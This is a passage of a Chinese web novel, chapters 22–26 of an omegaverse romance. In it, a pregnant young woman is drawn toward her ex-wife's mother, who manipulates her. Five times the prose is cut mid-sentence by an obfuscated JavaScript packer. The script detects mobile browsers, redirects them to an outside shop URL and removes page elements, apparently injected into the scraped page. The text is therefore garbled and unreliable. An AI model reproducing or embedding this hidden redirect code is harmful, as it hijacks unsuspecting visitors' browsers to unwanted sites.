不过相比于她的懵懵懂懂,尤卉经历了两个母亲的分合,又被她们抛弃,小小年纪就被迫成熟。 尤昙虽然从记事起就没有关于母亲的任何记忆,反而也是一种好事。 尤昙依赖姐姐,可某种意义上,在精神上尤卉更需要她。 从小到大,尤卉细致地照顾她,肩负起了一个姐姐的职责。 但也悄无声起地包揽了她所有的决定权。 尤卉很担心她离开自己的视线,一旦发现她不见,会不自觉地恐慌,恨不得从小到大都将她放在自己眼下。 两人上同一个小学,到后来同一个大学。 她的成绩还不错,当时申请到了两个学校,一个是她感兴趣的伴侣动物医学,只是以后会距离尤卉很远。 另一个就是和姐姐一个学校的古地球历史。 最后姐姐帮她选了一个自己不怎么感兴趣的专业。 还有那时姐姐带她找到沈遐云,要沈遐云对她负责。 她和沈遐云在一起的三年里,也沉浸在这段感情当中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483840|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常常觉得很幸福。 可是一开始,她就喜欢沈遐云吗?似乎也不是。 她才只见过沈遐云一面,有朦胧的好感,可那并不能被具像化为喜欢,或者什么更深切的词汇。 那只是好感。 但她没有拒绝,因为姐姐已经替她决定了。 尤卉对她的不放心持续到了她和沈遐云结婚前。 因为尤卉工作上开始忙碌,两姐妹聚少离多,而沈遐云的表现又实在让人放心。 于是悄无声息地,帮她做决定的人从姐姐变成了沈遐云。 尤昙对自己的专业并不感兴趣,毕业实习的几个月,工作枯燥繁琐,没完没了的古籍整理、清理器物,和她想象得完全一样。 也是这时,沈遐云向她求婚,恰好表达了不想和她分开的想法。 沈遐云的工作能够轻而易举地负担得起两人的生活,不需要她做这份乏味的工作。 沈遐云希望两人有更多相处的时间。 她也接受了沈遐云的决定。 包括后来,沈遐云想要一个两人的孩子,她虽然心有疑虑,可也认为沈遐云说得有道理。 以及此刻,她下意识看着女人,连自己都没意识到,她希望将决定权交给眼前的女人。 沈缎青的目光落在她的后颈。 孕期的omega没有发情期,自然也就不需要抑制剂,或者什么抑制贴。 当然,上次尤昙出现的假性发情期是例外。 因此她现在只要垂下眼,就能看到女孩光滑细腻的脖颈后,一小块微微的凸起。 假性发情期有了第一次,还会有第二次。 信息素能够短暂安抚,但并不长久,只要留下这个孩子,最终还是要有alpha标记她。 女孩眼神有些失望,却又不自觉地期盼,睫毛柔软,眼瞳乌润,那其中甚至掺杂着对长辈的孺慕,如此迫切地希望自己能够替她做出一个决定来。 在这个人生的关键节点,她是脆弱动摇的,是稍不小心就可以蛊惑的,引诱她踏入错误的那条道路如此轻易、毫不费力。 沈缎青当然可以像个真正为尤昙着想的长辈一样,不掺杂一点私心,劝她放弃这个孩子。 毕竟显而易见,这个孩子留下对她来说需要付出更多代价,远远不如直接选择放弃。 可是为什么呢? 她凭什么放弃这个名正言顺的好机会? 沈缎青微微一笑,终于肯说出自己真正的想法:“如果你拿不定主意。” “那就留下吧。” 两人面对面对坐,柔和的光从头顶洒下,女人将手覆在她的手背上,目光温柔:“我也可以和你共同抚养这个小孩。” 22. 第 22 章 澄明灯光下,温柔的话语连同女人看她的眼神都令人头脑发涨。 像是某种难以抗拒的电流,强势地穿过她的脊背,令她产生了一瞬间的颤栗。 —我也可以和你一起共同抚养这个孩子。 尤昙迟迟没有回过神来。 最后一句是什么意思? 什么叫做一起养大? 她张了张嘴:“妈妈……” “沈老师,能来一下吗?”另一道声音先插入进来,恰到好处地打断了她的话。 是阿姨,询问最近食谱还要不要改变。 沈缎青对她示意般笑了笑,收回了握住她的手,站起身,和阿姨一起去了厨房。 任由她头昏脑涨地坐在原地。 手背是女人手掌的温度,迟迟没散去。 等重新返回,女人看了眼腕上的手表,已经一副要结束谈话的意思:“好了,该睡觉了。” 刚才的气氛荡然无存,她一时也找不到开口机会了。 直到睡前还在困扰着她。 女人给她的模棱两可的回答太多,明明刚才她希望沈缎青帮她做决定时,还敢直接了当地问,但是现在她却莫名不太敢开口询问了。 或许潜意识里她也害怕继续深入问下去,会听到什么让她现阶段难以接受的回答。 比如,什么叫共同抚养?怎么共同抚养?沈缎青知道如果她要生下这个孩子的话,需要alpha的标记吗? 而女人显然也没有要和她继续聊这个话题的意思。 是觉得已经和她说得够清楚了吗? 尤昙小心想。 但她哪里知道,这明明是沈缎青故意的,故意放任她不安揣测。 夜色低垂,繁星笼罩。 天气不冷不热,联邦中心区大部分季节,除了深冬和炎夏的小段时间,天气都很适宜,温度波动不大,体感温度相当舒适。 况且,温控系统持续运转,使得整个房间温度十分适宜。 但是这天晚上,她却罕见地感受到了一阵燥热。 仿佛从身体内部燃起,而后将她四肢百骸都不受控制地燃起一簇火焰。 “老婆……”她闭着眼,脸蛋通红地蹭在枕头上,低低呢喃。 她第一反应是沈遐云将她抱太紧了。 沈遐云的体温也比她高,还总爱抱着她睡。 一开始两人同居时,她常常会惊醒。 不仅仅是因为同居的陌生感,还因为沈遐云总爱抱着她睡。 睡前她知道沈遐云抱着她,可是睡着后,人的判断力会下降,被抱得太紧,沈遐云体温又高,她总是会本能挣扎。 两人同居几个月后她才慢慢习惯。 她闭着眼睛,用手掌寻觅,直到手指陷入一片绵软当中。 她意识模糊间判断出,不,这不是沈遐云。 这对母女的相似并不是口头上说说,越接触越觉得相似度惊人。 不过几个月的相处下来,她反倒神奇地稍微能够察觉到一些两人的不同来。 最直观的就是……她手指不自觉地用力握了下。 她闭着眼,意识短暂清明了一会。 突然想起来,她和沈遐云已经离婚了。 而且躺在自己身边的也不是沈遐云。 不过,很快又被另一件事吸引。 手掌下的皮肤温度适宜,令人舒畅。 她在意识朦胧间很快意识到这不是沈缎青身上的温度冷,而是她身上的体温太热。 原来热要比冷更难熬。 不需要沈缎青的刻意引导,她近乎本能地迫不及待地贴近了身旁的人。 呼吸变快,急迫而紧促。 那时一种近乎成瘾性的快乐。 就像是炎热的夏日,街道热气翻滚,而手中突然被塞上了一杯漂浮着透明冰块的可乐。 鼻尖窝进柔软起伏,用力呼嗅了几口气味。 这才感觉到了舒服,长舒一口气。 短暂的插曲就像是睡眠中的梦呓。 尤昙毫无感知地闭着眼睛,紧紧抱着沈缎青的腰,很快又睡熟了过去。 这段时间,哪怕睡前再克制,再努力告诫自己,睡醒时总是埋在女人怀里。 尤昙甚至已经开始习惯,每天一睁开眼,她枕在女人胸口。 因此在今天睁开眼睛时,她发现自己照例搂着沈缎青的腰,脸颊贴在女人胸口。 她没有惊慌,反而心里有种意料之中的感觉。 但是她很快意识到不对。 以往她醒来,鼻尖接触到的是女人胸口的衣料。 隔着一层衣料,哪怕她知道自己枕的是什么,也不像此刻,鼻尖毫无顾忌地碰在女人光裸的皮肤上。 冬天总是感觉到鼻尖冰凉,是因为鼻子对于温度的感知更灵敏。 因此几乎一瞬间,她就赤裸地感受到女人身上的温度,属于肌肤的热气熨烫着她。 这种感觉也令她很熟悉。 如果身旁的人是沈遐云,那么此刻的场景再正常不过。 可问题是…… 尤昙猛地意识到了什么,飞快睁开眼睛。 女人胸口的睡袍扣子解开了几颗,凌乱半掩着,像是被人胡乱蹭开的。 而她此刻的姿势,正将鼻尖埋陷其中,毫不顾忌地嗅闻女人身上的气味。 更让她觉得难以接受的是,她的坏习惯又犯了。 视线仓皇垂落。 就在嘴边。 只差一点。 她只要张开唇就能咬住。 她一瞬间彻底清醒了。 慌乱地抽开了手,并甩开了女人放在自己肩上的手。 她的动作幅度太大,惊醒了原本身旁安静正在沉眠的沈缎青。 “怎么了?” 女人半坐起身。 身上原本就不算严实的睡袍,没有了纽扣的束缚,随着她的动作滑落,几乎敞开了一大半,甚至露出了一小截肩颈线条,更别说……那个…… 毫无准备地闯入她眼中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483841|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 尤昙被钉在原地。 一个无礼的念头率先冒了出来,和沈遐云相比,似乎的确是沈缎青的要更大一些。 她在想什么! 尤昙像是被脑海中轻率的念头给狠烫了一下。 脸颊滚烫,心里有些崩溃,甚至顾不上礼貌,脚步慌乱,在沈缎青反应过来前,下床躲进了浴室。 沈缎青笑了笑,这才抬手将自己睡袍散开的几颗纽扣重新扣上,眼里哪有一点睡意。 吃饭时,尤昙目光还遮遮掩掩地不敢看她,显然还没从刚才的场景中缓过神。 一块吃过早餐,沈缎青拿起外套,见尤昙还闷声坐着原地,忍不住笑着叫了她一声:“尤昙?” 尤昙茫然地转头看她。 “时间差不多了。” “哦。” 沈缎青又提醒似的:“我要走了。” 这样说着,脚步却并没有挪动。 尤昙这才不情不愿地站起身,走到她身边,耳尖却通红。 这段时间,上班的时候她送沈缎青上班,下班的时候她在客厅等待沈缎青下班。 谁也不知道 或许是因为沈缎青每次出门前,都会似有若无地提示她一句。 而她也的确想和女人多说几句话。 毕竟沈缎青一走,家里又只剩她一个人了。 她刻意避开了女人的目光。 原本该平整合身的衬衫胸口处有一处褶皱。 她并不是故意,可是两人身高差距使然,沈缎青比她高太多。 她站在女人身边,视线自然平行,下意识就将目光落在了女人的胸口处。 不知道是衬衫的主人太着急,还是受情绪影响,穿衣服时心不在焉,有一颗纽扣居然扣错了。 乍一看看不出来,可这样的小错误居然会发生在沈缎青身上,就让人觉得很罕见。 毕竟她几乎从来没见过女人衣着不体面的样子,唯一一次,还是因为她在女人洗澡时闯了进去,导致女人动作慌乱间只来得及在睡袍外披了件针织衫。 这让她诡异地感到了一点安慰。 显然不只有她一个人对刚才发生的小插曲感到难为情。 想起不久前的场景,不知怎么地,她弥补似的捏住了那颗纽扣。 沈缎青似乎也注意到她的目光,露出了个恍然的表情,也伸出手。 两人手指相撞。 尤昙愣了一下,才反应过来自己在做什么。 沈缎青笑了笑,率先收回手:“你来。” 她脑袋一热,在碰到纽扣的那一刻她就有点后悔,这样的动作似乎有些不妥当,不,已经可以称得上奇怪了,可是…… 如今纽扣被捏在指尖,女人正等待着她接下来的动作。 她进退两难,只好飞快将纽扣扣上,然后抽开手,脸蛋滚烫,欲盖弥彰地后退一步。 沈缎青垂眼看着那颗被妥帖扣好的纽扣,笑了下,突然问: “平时也是这样对沈遐云的吗?” 23. 第 23 章 这句话有些突兀和奇怪。 乍一听像是在问她平时也会帮沈遐云扣衬衫扣子吗? 当然会,这是伴侣间很正常的互动,沈遐云也会帮她穿衣服。 可是听在尤昙耳朵里,更像是话里有话。 女人这句话不像是问她扣纽扣的举动。 更像是委婉地问她今天早上起床时的那个小插曲。 尤昙愣了一下,原本就红的脸更是被臊得通红。 她平时也是习惯“那样”和沈遐云相处吗? 毫无自控力,搂着沈缎青的腰就算了,还一点都没有边界感地蹭开了女人睡袍的扣子。 那明天呢? 她是不是就会吮咬上去? 她却一时没办法否认。 因为这的确是她和沈遐云同居之后才有的习惯。 毕竟她从小到大几乎和姐姐睡在一张床上,从来没有表现出这方面的倾向。 第一次也把她吓了一跳,沈遐云反而乐在其中,还会抱着她,故意刺激她般,温声细语地哄她叫她宝宝。 在一起前,她从来没想过沈遐云长着这样一张脸,私下的性格会是这样的。 是沈遐云对她无止境的纵容,让她逐渐养成了这个坏习惯。 她脸色变幻,嘴唇翕动却说不出话。 “好了,等我回家。” 沈缎青摸了摸她的头,目光在她红热的耳尖上落了落,及时终止了这个话题。 就像是随口的打趣,也没有要斥责她的意思。 更没有露出任何的排斥和意外。 反而让她脸红得不像话。 沈缎青走了。 家里又只剩下她一个人。 一般这个时候,她通常会看会电视新闻,然后等困意上涌,再去睡会,直到阿姨叫她吃午餐。 但今天有些不一样,她盯着屏幕,却觉得昏沉沉,头脑像是被浸在湿咸的海水当中。 似乎也并不是难受,只是提不起精神。 每半个月医生来体检时,也会和她详细叮嘱可能出现的孕期症状,要她不要惊慌。 她现在的有点像嗜睡,身体疲软,毕竟怀孕已经四个月,这是正常的。 不过尤昙觉得这更可能只是自己昨晚没睡好。 但等沈缎青晚上下班回家的时候,她已经好多了。 这点微不足道的症状来得快,去得也快。 她因此没有放在心上,更没有将之与昨天晚上的事情联系在一起。 如果她能再仔细一点,或许能够意识到,这更像是假性发情。 只是第一次来势汹汹,在没有任何症状的情况下来得猝不及防。 而这一次,或许是因为身边一直有沈缎青在。 女人的信息素恰到好处地压制了她身体反应,让症状显得十分轻微,不引人注意。 可是压制越久,爆发时越猛烈。 一般沈缎青快回家时,阿姨就开始着手做晚餐。 但是今天不太一样。 沈缎青已经到家时,厨房还安安静静的。 “现在肚子饿吗?” 尤昙摇摇头。 她几乎睡了一天,但是午餐却没少吃。 因为阿姨都是按照食谱给她做的。 阿姨的手艺太好,其实她还悄悄怀疑过自己继续这样下去会不会变胖。 “那正好我们现在出门一趟。” 尤昙有点惊讶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483842|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住在这里几个月,她唯一一次出门是在女人的陪伴下去医院做全面检查。 而沈缎青的性格意外有些无聊,几乎没有什么活动,每天会准时回家。 生活轨迹近乎规律到刻板,上班,下班,回家。 现在女人突然提起来,她才意识到自己真的太久没出门了。 此刻正值下班高峰,车流从身边缓慢流过,还有乱七八糟的交谈声、笑闹声、路边店铺的广告语,甚至还掺杂了几声鸟叫。 一个城市正常运转产生的声响。 有些嘈杂,但换种说法叫做热闹。 太久不出门,尤昙都有些不适应了,一路上都忍不住盯着车窗外看。 沈缎青注意着路况,余光看了她一眼,见她目不转睛的样子:“喜欢出门?那我们以后可以经常出来玩。” 以后。 尤昙敏锐地捕捉到这个字眼。 联系到昨晚女人对她说的话,她心中一动,收回目光,下意识侧头看去。 窗外霞光满天,透过车窗落在女人的脸上,前方路口恰好红灯,车子暂时停下,于是沈缎青借机看向她,唇边有些许笑意,口吻也很温和。 她明明想问什么,但在女人的注视下,最后却只小声哦了一下。 车子不断向前行驶,经过城市街道,她隐约觉得这个路线有点熟悉,紧接着又问:“我们要去哪?” “之前是我考虑不周到,既然已经离婚,就应该分割干净,今天把你的东西搬过来。”前方路口绿灯重新亮起,女人目视前方,声音平淡。 尤昙这才突然反应过来,为什么她会觉得熟悉了,因为这是回家的路。 不,更准确地说,这是去她和沈遐云的家的路。 24. 第 24 章 眼看着两旁的街景愈发熟悉,尤昙眼神里的笑也逐渐消失。 沈缎青没有询问她的意见,态度直接让人无法拒绝,也根本没有给她反应的时间。 最开始两人同居时,尤昙还没毕业。 这栋小公寓是沈遐云特意挑选的,距离学校和沈遐云工作的研究所都不远。 有时候她会去接沈遐云下班,有时沈遐云接她下课。 只有不到两公里的距离,比起交通工具,步行显然更方便,而且附近的街道还有不少好吃的小店。 尤昙毕业之后,两人结婚也没有特意搬家。 因此这条路不知道两人一起走过多少次。 车速逐渐慢下来,又转了个弯,很快就到了目的地。 按理来说,沈缎青应该没有来过这里。 至少她和沈遐云在一起的这三年里,她只在婚礼上见过女人一次。 但是女人却显得很熟稔,甚至很清楚从哪个门进更方便,没等她开口,车子就已经通过了安保大门。 大概是为了不浪费时间提前查过? 不过尤昙已经没空细想。 刷脸打开门锁。 这里几个月没人来,房间里落了一层薄薄的灰。 入目,空间显得有点拥挤。 当然,这并不是客观意义上的拥挤 这栋公寓面积并不小,住两个人绰绰有余,只是生活痕迹太多。 而沈缎青的房子,装修风格过于冷淡,显得很空旷寂寥。 两相对比之下,这里猛地给人的感受就是“拥挤”,却也充满爱意。 鞋柜上的小摆件,那是她和沈遐云去旅行的时候买的;门上的小挂毯是她们一块去工艺店里做的;就连厨房门边挂着的围裙,也是两人一起选的。 其实没什么要带的,最重要的证件她离开时就带在身上,手机也在,还有她的卡。 尤昙却有些五味杂陈。 当时有人闯进来,在门前拿着手机直播蹲守她,虽然安保反应及时,没造成太大影响,但她慌乱之下,几乎家里的什么东西都没带走。 所有东西都停留在她离开的时候的样子,因此眼前的一切对她冲击更加令她猝不及防。 就好像她和沈遐云还没有离婚。 没看到这些东西前,在沈缎青家,在一个完全陌生的环境,再加上 她其实很少去想沈遐云。 最近一个月尤其明显,如果不刻意去回忆,她就不会主动想起。 可是三年的记忆没那么容易被覆盖,更可况,在看到熟悉的物件的那一刻,相关记忆就会随之浮现。 这并不是她想要控制就能控制得了的。 就像是下雨天潮湿冰冷的空气,被呼进鼻腔的那一刻,会让人下意识发颤,这是一种本能反应。 她深呼口气,默默从杂物间找了个纸箱,准备将自己要带走的东西装进去。 她心情沉默,甚至一时没精力顾及身旁的女人。 沈缎青也没出声,站在门边,表情平淡地扫视着房间的内饰。 从桌上的成对水杯,墙上的挂画,一直看到地板上铺着的地毯。 房间里东西摆得太多太臃肿,恨不得将所有东西都展示出来,在她的眼中,显得有些杂乱无章,但哪怕是陌生人,也能透过眼前的这些摆设想象出这对伴侣相处的日常。 温馨的、平静的、相爱的。 果然是沈遐云的风格。 和婚礼上眼神中隐晦的炫耀如出一辙。 尤昙整理半天,回过神来。 一转身,却发现刚才被她忽略的沈缎青不知何时站在桌边垂眼浏览着什么。 那是一个摊开的计划本,沈遐云走之前和她说两人要去旅行,要她选一选去哪里。 本子上是她特意搜罗的当地特色项目、值得一看的景点、想尝尝的美食,总之七七八八地写了些好几页旅行攻略。 沈遐云的工作比较忙,两人旅行一直都是她来做计划。 她以为这次和往常一样。 谁能想到她的旅行计划做好了,沈遐云却…… 她收回思绪,眼见女人将计划本合上拿起来,她忍不住提醒:“这个不用拿。” 沈缎青点点头,示意自己知道了。 但却没放下那个计划本,而是走过来,放进了她手边准备带走的纸箱里。 好吧。 尤昙转身继续整理。 其实没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483843|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么要拿走的。 家里的这些东西大多数都是她和沈遐云一起添置的,哪怕不是,也承载着两人的记忆。 她也不想拿。 因此尤昙挑挑拣拣,最终也只勉强整理了一小箱。 沈缎青帮她将箱子放进后备箱。 尤昙不好意思站在一旁看,又不知道自己能做什么,只能眼巴巴地跟在她身后打转。 也是这时,她突然注意到一个细节,沈缎青虽然口口声声地说要将她的东西搬过来。 但是开来的车……她仔细打量了一下,不太熟悉车子的品牌,只能根据内饰判断应该不太便宜。 不过,这不是关键。 关键这只是辆再普通不过的四座车,后备箱不大,哪怕加上后座的空间,也根本装不下什么东西。 而看样子沈缎青也并没有叫什么搬家公司。 但凡她多收拾一点,估计就带不走了。 她有些庆幸,好在她本来也没想拿什么。 但这个念头只是模糊地一闪而过。 沈缎青:“想吃哪家餐厅?” 尤昙的注意力被拉了回来。 两人重新上车,沈缎青将自己的手机递给她,示意她挑选。 沈缎青慢慢开着车,尤昙低头认真挑选。 她其实不怎么了解女人的口味,这段时间,沈缎青都是全然按照她的口味在迁就她,即使两人一同吃了不少餐饭,她也看没看出女人有什么讨厌或偏好。 “这家……”她想问问沈缎青有没有什么忌口,话还没说完,瞬间噤声。 哪怕她动作不算慢,现在天色也已经晚了。 薄暗中,车窗外游移的灯影朦胧拓印出女人的轮廓,脸上没有一贯的笑意,嘴唇平直,表情显得很平淡。 明明什么都没表现出现,但是尤昙莫名感觉到,女人此刻的心情不太愉悦。 车内的气氛被渲染得很安静,甚至有些冷淡。 她抿了抿唇,只好将目光移回屏幕上。 不过,这对母女喜好如此相似,沈遐云爱吃的东西,她应该也爱吃吧。 于是,抱着这种想法,她挑挑拣拣,纠结良久,选择了一家她和沈遐云都很喜欢的店。 25. 第 25 章 晚餐时间比以往迟了不少,尤昙刚才还觉得有些饿,可是等真正到了餐厅,她反而有些后悔,或许不应该来这里。 这家店就在学校附近。 这个时间,恰好是附近的学生和老师来解决晚饭的时间。 倒不是担心会被人认出来。 自从两人结婚后,因为研究所事忙,沈遐云除了一周两节课,几乎不怎么来学校。 但这家店她和沈遐云倒是经常来,甚至还吵过一次架。 她和沈遐云虽然极少产生矛盾,但偶尔也免不了吵架。 而且随着两人在一起时间越长,感情越好,吵架次数反而变多了。 不过通常只是些不值一提的小事。 与其说是吵架,更像是拌嘴。 沈遐云有时会有些幼稚的恶趣味,故意惹她生气,然后又哄她。 例如,沈遐云把她特意留下想最后吃的零食口味吃掉,将她惹怒之后,又牵着她的手去买。 谁会那么讨厌。 可她偏偏又吃这一套。 因为两人真正称得上是吵架的次数更少,那几次都令她印象深刻。 其中一次,就是在这个餐厅。 有那么几天,她很想吃这家的一道鱼皮豆腐煲。 口感嫩滑,鱼皮薄弹,被炖得胶质满满,但是这道菜只适合堂食,点外送或者打包,口感都会随着时间流逝变差,鱼皮变韧,不好咀嚼。 但沈遐云更想和她在家吃,于是商量着要尝试着在家做。 沈遐云在别的领域游刃有余,唯独厨艺一般,偏偏在这件事上也无法勤能补拙。 一般的家常菜沈遐云当然没问题,但是对于火候精度要求极高的菜色,结果可想而知。 最后花费了两个小时,十分努力地做出了一盘口味不错的橡皮筋。 尤昙:“……” 最后不得已,两人又赶来这家餐厅。 她们来的时候已经太晚了,店里正在招待最后一桌客人,而厨师已经下班了。 她心里有点委屈,闷闷地不说话。 偏偏沈遐云又故意唉声叹气地逗她:“如果我厨艺不这么差就好。” 你还知道啊,她心说。 沈遐云:“说不定下次就能成功呢。” 没有下次了。 一想到原本她们今天能吃到,结果因为沈遐云花费太多时间,最后什么都没有。 沈遐云现在还大言不惭地说还要做一次。 其实没什么可生气的,可等她反应过来的时候,眼泪已经往下掉了。 大概是期待落空本身太让人沮丧了。 餐厅里还有别的客人,她心里又羞又恼,眼泪又止不住。 沈遐云慌张地用大衣挡住她,将她抱在怀里:“老婆?尤尤?” 尤昙:“……” 她躲在沈遐云大衣里扎扎实实哭了一通。 那次似乎是她和沈遐云吵架最严重的一次。 尤昙回过神时,菜已经上齐了,她挥散思绪。 “好吃吗?”尤昙试探道。 其实她这句话有些明知故问。 女人动作虽然吃相优雅大方,但吃得并不少,甚至感觉到比平日还多吃了点。 而且表情似乎也没有刚才那么冷淡,甚至给出了矜持的评价:“还可以。” 她松了口气,好在这家店的口味沈缎青挺喜欢的,这让她心里有了些安慰。 果然她想得没错,这对母女的口味也很相似。 吃完饭,尤昙自告奋勇去结账。 尤昙其实并不缺钱。 她和姐姐未成年的时候,两个母亲都会分别给姐妹俩打上一笔相当不菲的抚养费,付了学费和生活费之后还剩下很多。 直到十八岁成年,这两笔抚养费才停止。 一个小孩能花多少钱,积攒了十几年,尤昙手里有一笔不小的积蓄。 更何况尤卉工作后还会每个月给她一笔零花钱。 结账时,店员贴心问她有没有会员卡,今天正好赶到每周的会员日,8.8折呢。 尤昙点点头。 她和沈遐云来过这家店不少次。 “麻烦问一下您的会员名是什么呢?” 尤昙报了自己的名字。 店员查询了一下,露出了一个略显为难的表情。 尤昙突然意识到什么,卡了下壳:“不好意思,我记错了。” 才后知后觉想到,这家店大概用的是沈遐云的信息。 她想到了,沈缎青自然也能想到。 不知怎么地,她心脏突跳了一下,下意识回头去看女人的表情。 沈缎青没说话。 果然,刚刚好转一些的表情,又有些冷淡。 这一瞬间,她突然敏锐地察觉到了一点不愉悦的源头。 因为沈遐云吗? 可是为什么呢? 回去的路上,天色彻底暗下来。 街道两旁霓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483844|201906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虹闪烁,被移动的车窗拖拽出一道道亮色流光。 尤昙其实很喜欢看夜景,空气微凉,耳旁穿梭的车声变成了一种白噪音,会让人不自觉安静下来。 但是此刻却没心情看。 她余光看了一眼驾驶位上脸色冷淡专心开车的女人。 在心里小小叹了口气。 按理来说,她原本心里应该也不太好受,结果现在被沈缎青不知来由的情绪弄得一干二净。 她试图让气氛变得轻快一点,可是绞尽脑汁,也不知道要说些什么。 闷闷沉沉的气氛一直持续到回家的时候。 停下车,沈缎青下车去搬后备箱里的纸箱。 尤昙也立刻解开安全带紧跟着下车。 车库里的光线不够明亮,透着股压抑的昏暗。 脚步声在空旷中回荡。 沈缎青身高腿长,步子自然也大。 她跟在沈缎青身后,差点跟不上,踩着女人的影子走了几步,她犹豫几秒,试探着伸手捉住了女人微微晃荡的衣摆,小声道:“生气了吗?” 沈缎青停下脚步,终于回头看她。 女孩仰头,目不转睛地看着她,眼珠潮湿忐忑,更多是不解和茫然,不解她为什么会这样。 她这样问只是感知到她的情绪后,出于紧张不安,希望她不要生气。 更像是一种询问? 并不是察觉到了原因。 有那么一瞬间,沈缎青心里冒出一股恶劣的情绪,很想顺势点头承认。 为什么不愉悦? 没人能看到自己心仪的对象像个勤恳的雌鸟,用心经营装点和伴侣的巢穴,还能维持着体面的好心情。 更何况,这个所谓的伴侣,还是她的女儿。 尤昙现在抱着什么想法,怎么现在还对她的想法浑然不觉? 是对于感情的迟钝,还是从来没有将她作为对象考虑在内? 这一刻,她很想直接点破两人此刻不明不白的关系。 真想看看她脸上是什么表情,慌张?惊讶?还是害怕? 心思千回百转,但沈缎青最终还是笑了一下:“没有。” 箱子里的东西不多,也不算重。 沈缎青换了下动作,一只手稳稳托住箱子底部,另一只手去握住她攥着自己衣摆的手:“能看清吗?” “有点暗,还是抓紧我。” “嗯。”女孩瓮声瓮气地答应了,被她牵着,紧紧跟着她的脚步。 26. 第 26 章 比她大了一圈的温热手掌完全裹住了她的手。 或许是因为光线昏暗,营造出一种矇昧危险的错觉。 人本能对黑暗就是会更加警惕。 尤昙心跳一刹那变快。 但是女人的态度比她坦荡得多,坦然自若地握紧她的手,示意她跟紧自己。 尤昙已经顾不得刚才在问什么了,只能脑袋空白地嗯了声,跟上她的脚步。 直到从车库出来,光线陡然明亮,女人才松开她。 尤昙有些不适应地抽回手,手指好像还沾着女人的温度。 这箱东西,放在两人住的房间里似乎不合适,毕竟这也是沈缎青的房间。 沈缎青帮她放在了楼上她之前住的那间空房间。 箱子里的东西有几件是沈遐云送给她的,也有两人一起买的,几件饰品,一个玩偶摆件,一瓶香水,一个钥匙扣,几本书,还有些零零散散的小东西。 她和沈遐云在一起三年,两人一起经历得太多,哪怕她已经尽力挑了些没那么让人觉得难过的东西。 她目光落在自己右手无名指上,想起来离奇丢失现在还毫无下落的婚戒。 沈缎青蹲下身来帮她一起整理。 东西不多,两人一起,很快就整理得差不多了。 尤昙看到最底下的计划本。 刚才整理的时候,她十分默契地没有碰,虽然是她的东西,可毕竟不是她选择带回来的。 她不明白沈缎青把这个拿回来做什么,现在已经没什么用了,但或许沈缎青有自己的考量? 她忍不住看了眼女人。 沈缎青也仿佛此刻才注意到被刻意留在箱子里的计划本,伸手拿起来翻阅。 “都是你写的吗?这些地方都去过了?” 尤昙点点头。 沈缎青当然知道,两人家里有一整面照片墙,客厅和卧室也摆了不少,脸上都带着笑意,脸贴着脸,或者拥抱着,牵着手。 挺幼稚的动作。 尤昙毕竟还小,她还以为沈遐云这么大年纪了,好歹会沉稳一点。 又重新翻到最后,浏览上面的内容。 她其实已经看过一遍,但不妨碍再看一遍。 笔迹工整,内容详尽,列得很清晰,一目了然。 能看得出来尤昙做计划的时候很认真。 两人一起出门旅行过很多次,这里应该是还没来得及去的地方。 毕竟事发突然,没有人比沈缎青更了解这段时间沈遐云陷入了怎样焦头烂额的境地里。 但沈缎青还是明知故问:“这里景色怎么样?” 尤昙只在查询旅行攻略的时候看过其他人分享的照片,看起来非常不错。 